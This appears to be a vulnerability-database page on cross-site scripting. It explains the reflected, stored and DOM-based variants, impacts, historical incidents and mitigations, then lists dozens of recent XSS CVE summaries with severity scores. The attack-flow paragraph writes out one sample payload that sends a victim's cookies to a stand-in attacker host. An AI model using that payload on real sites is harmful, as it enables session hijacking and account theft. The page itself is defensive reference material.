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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39085)

EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Xpro Xpro Elementor Addons allows Stored XSS.4.3. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Xpro Addons For Elementor Elementor
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Katie Zotpress zotpress.3.9. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themeqx LetterPress allows Stored XSS.2.1. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Johan van der Wijk Content Blocks (Custom Post Widget) allows Stored XSS.3.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Content Blocks
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Debug Info allows Stored XSS.3.10. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LogicHunt Inc. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in GoldAddons Gold Addons for Elementor allows Stored XSS.2.9. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Moveaddons Move Addons for Elementor allows Stored XSS.3.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Move Addons For Elementor Elementor
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Link Library plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'link-library' shortcode in all versions up to, and including, 7.6.11 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Link Library
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemePrix Fancy Elementor Flipbox fancy-elementor-flipbox allows Stored XSS.4.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGrill Himalayas allows Stored XSS.3.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Wpsoul Table Maker allows Stored XSS.9.1. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Pootlepress Pootle Pagebuilder - WordPress Page builder allows Stored XSS.7.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Mesmerize Companion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'mesmerize_contact_form' shortcode in all versions up to, and including, 1.6.148 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Heateor Social Login WordPress prior to 1.1.32 contains a cross-site scripting vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Social Login
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

In affected versions of Octopus Server with certain access levels it was possible to embed a Cross-Site Scripting payload on the audit page. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Octopus Server
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

An issue was discovered in Logpoint before 7.4.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Siem
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Trix is a rich text editor. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

RCE XSS
NVD GitHub
EPSS 0% CVSS 4.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the search function in Maven net.mingsoft MS Basic 2.1.13.4 and earlier. Rated medium severity (CVSS 4.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 1% CVSS 7.1
HIGH PATCH This Week

react-pdf displays PDFs in React apps. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 3.8
LOW POC Monitor

The EasyEvent WordPress plugin through 1.0.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks even when. Rated low severity (CVSS 3.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Easyevent
NVD WPScan
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SliceWP allows Stored XSS.1.10. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH POC This Week

Cross Site Scripting (XSS) vulnerability in YzmCMS 7.0 allows attackers to run arbitrary code via Ads Management, Carousel Management, and System Settings. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Yzmcms
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AddonMaster Post Grid Master allows Stored XSS.4.8. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Post Grid Master
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PropertyHive allows Stored XSS.0.10. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Propertyhive
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QuantumCloud Conversational Forms for ChatBot allows Stored XSS.2.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Theme Freesia Edge allows Stored XSS.0.9. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPPOOL Sheets To WP Table Live Sync allows Stored XSS.7.0. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QuomodoSoft ElementsReady Addons for Elementor allows Stored XSS.8.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Elementsready
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in POSIMYTH The Plus Addons for Elementor Page Builder Lite. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Elementor
NVD VulDB
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Webpushr Web Push Notifications Webpushr allows Reflected XSS.35.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Popup Box Team Popup box allows Cross-Site Scripting (XSS).1.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS CSRF
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AltText.Ai Download Alt Text AI allows Stored XSS.3.4. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

An issue was discovered in Archer Platform 6 before 2024.04. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Archer
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

An issue was discovered in Archer Platform 6 before 2024.04. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Archer
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

An issue was discovered in Archer Platform 6 before 2024.04. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Archer
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

html-sanitizer is an allowlist-based HTML cleaner. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Jinja is an extensible templating engine. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Jinja Fedora
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

D-Link DIR-845L router <=v1.01KRb03 is vulnerable to Cross Site Scripting (XSS) via /htdocs/webinc/js/bsc_sms_inbox.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

D-Link PHP XSS +1
NVD GitHub
EPSS 0% CVSS 8.3
HIGH This Week

The NPort 5100A Series firmware version v1.6 and prior versions are affected by web server XSS vulnerability. Rated high severity (CVSS 8.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Breakdance plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's custom postmeta output in all versions up to, and including, 1.7.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

A vulnerability was found in SourceCodester Prison Management System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Prison Management System
NVD GitHub VulDB
EPSS 1% CVSS 6.5
MEDIUM This Month

Maliciously crafted E-Mail attachment names could be used to temporarily execute script code in the context of the users browser session. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Content-ID based embedding of resources in E-Mails could be abused to trigger client-side script code when using the "show more" option. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ox App Suite
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

E-Mail containing malicious display-name information could trigger client-side script execution when using specific mobile devices. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ox App Suite
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in Campcodes Complete Web-Based School Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Complete Web Based School Management System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in Campcodes Complete Web-Based School Management System 1.0 and classified as problematic.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Complete Web Based School Management System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability has been found in Campcodes Complete Web-Based School Management System 1.0 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Complete Web Based School Management System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in Campcodes Complete Web-Based School Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Complete Web Based School Management System
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The MF Gig Calendar WordPress plugin through 1.2.1 does not sanitise and escape some of its settings, which could allow high privilege users such as editor to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Mf Gig Calendar
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Crelly Slider WordPress plugin through 1.4.5 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Crelly Slider
NVD WPScan
EPSS 1% CVSS 5.9
MEDIUM POC This Month

The Fancy Product Designer WordPress plugin before 6.1.81 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

WordPress XSS Fancy Product Designer
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in Campcodes Complete Web-Based School Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Complete Web Based School Management System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability classified as problematic was found in Campcodes Complete Web-Based School Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Complete Web Based School Management System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability classified as problematic has been found in Campcodes Complete Web-Based School Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Complete Web Based School Management System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in Campcodes Complete Web-Based School Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Complete Web Based School Management System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in Campcodes Complete Web-Based School Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Complete Web Based School Management System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in Campcodes Complete Web-Based School Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Complete Web Based School Management System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in Campcodes Complete Web-Based School Management System 1.0 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Complete Web Based School Management System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability has been found in Campcodes Complete Web-Based School Management System 1.0 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Complete Web Based School Management System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in Campcodes Complete Web-Based School Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Complete Web Based School Management System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in Campcodes Complete Web-Based School Management System 1.0.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Complete Web Based School Management System
NVD GitHub VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability classified as problematic was found in SourceCodester Prison Management System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Prison Management System
NVD GitHub VulDB
EPSS 1% CVSS 7.4
HIGH POC This Week

An issue was discovered in includes/CommentFormatter/CommentParser.php in MediaWiki before 1.39.7, 1.40.x before 1.40.3, and 1.41.x before 1.41.1. Rated high severity (CVSS 7.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Mediawiki +1
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

An issue was discovered in the UnlinkedWikibase extension in MediaWiki before 1.39.6, 1.40.x before 1.40.2, and 1.41.x before 1.41.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Mediawiki Fedora
NVD
EPSS 1% CVSS 7.1
HIGH POC This Week

Rukovoditel before 3.5.3 allows XSS via user_photo to index.php?module=users/registration&action=save. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Rukovoditel
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Rukovoditel before 3.5.3 allows XSS via user_photo to My Page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Rukovoditel
NVD
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

ThinkPHP 8.0.3 allows remote attackers to exploit XSS due to inadequate filtering of function argument values in think_exception.tpl. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Thinkphp
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Alinto SOGo through 5.10.0 allows XSS during attachment preview. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Sogo
NVD GitHub
EPSS 1% CVSS 6.5
MEDIUM PATCH This Month

The Tree Explorer tool from Organizer in Zenario before 9.5.60602 is affected by XSS. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Folders Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via a user's First Name and Last Name in all versions up to, and including, 3.0.2 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Pterodactyl is a free, open-source game server management panel built with PHP, React, and Go. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Docker Panel
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in netis-systems MEX605 v2.00.06 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the getTimeZone function. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Mex605 Firmware
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Vditor 3.10.3 allows XSS via an attribute of an A element. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vditor
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Team GIPHY Giphypress allows Stored XSS.6.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Karl Kiesinger GWP-Histats allows Stored XSS.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Realtyna Realtyna Organic IDX plugin allows Reflected XSS.14.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Maxim K AJAX Login and Registration modal popup + inline form allows Stored XSS.23. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in MachoThemes CPO Companion allows Stored XSS.1.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Lorna Timbah (webgrrrl) Accessibility Widget allows Stored XSS.2. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Metagauss RegistrationMagic allows Reflected XSS.3.2.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Registrationmagic
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPify s.R.O. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in solverwp.Com Eleblog - Elementor Blog And Magazine Addons allows Stored XSS.8. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HappyKite Ultimate Under Construction allows Stored XSS.9.3. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ashan Jay EventON allows Stored XSS.2.14. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Twinpictures Print-O-Matic allows Stored XSS.1.10. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Pascal Bajorat PB MailCrypt allows Stored XSS.1.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kailey Lampert Mini Loops allows Stored XSS.4.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Vinod Dalvi Login Logout Register Menu allows Stored XSS.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodeBard CodeBard's Patron Button and Widgets for Patreon allows Reflected XSS.2.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Codebard S Patron Button And Widgets For Patreon
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39085

Related CWEs

MITRE ATT&CK

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